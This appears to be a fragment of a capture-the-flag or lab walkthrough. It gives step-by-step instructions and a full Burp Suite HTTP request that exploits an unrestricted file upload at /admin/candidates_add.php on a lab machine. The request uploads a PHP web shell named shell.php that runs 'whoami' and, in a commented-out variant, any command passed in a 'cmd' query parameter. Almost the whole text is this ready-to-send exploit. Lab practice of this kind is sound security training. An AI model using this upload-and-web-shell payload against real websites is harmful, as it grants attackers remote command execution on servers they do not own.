*Remember to add a blank line after the php code.
Change host, origin, referer to target machine IP.
Copy the below payload in Burpsuite /candidates.php and send to repeater.
Copy POST /admin/candidates_add.php HTTP/1.1
Host: 10.10.10.239
Content-Length: 275
Cache-Control: max-age=0
Origin: http://10.10.10.239
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrmynB2CmGO6vwFpO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.10.239/admin/candidates.php
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
------WebKitFormBoundaryrmynB2CmGO6vwFpO
Content-Disposition: form-data; name="photo"; filename="shell.php"
Content-Type: application/octet-stream
<?php echo exec("whoami"); ?>
#<?php echo exec($_GET["cmd"]); ?>
------WebKitFormBoundaryrmynB2CmGO6vwFpO
Content-Disposition: form-data; name="add"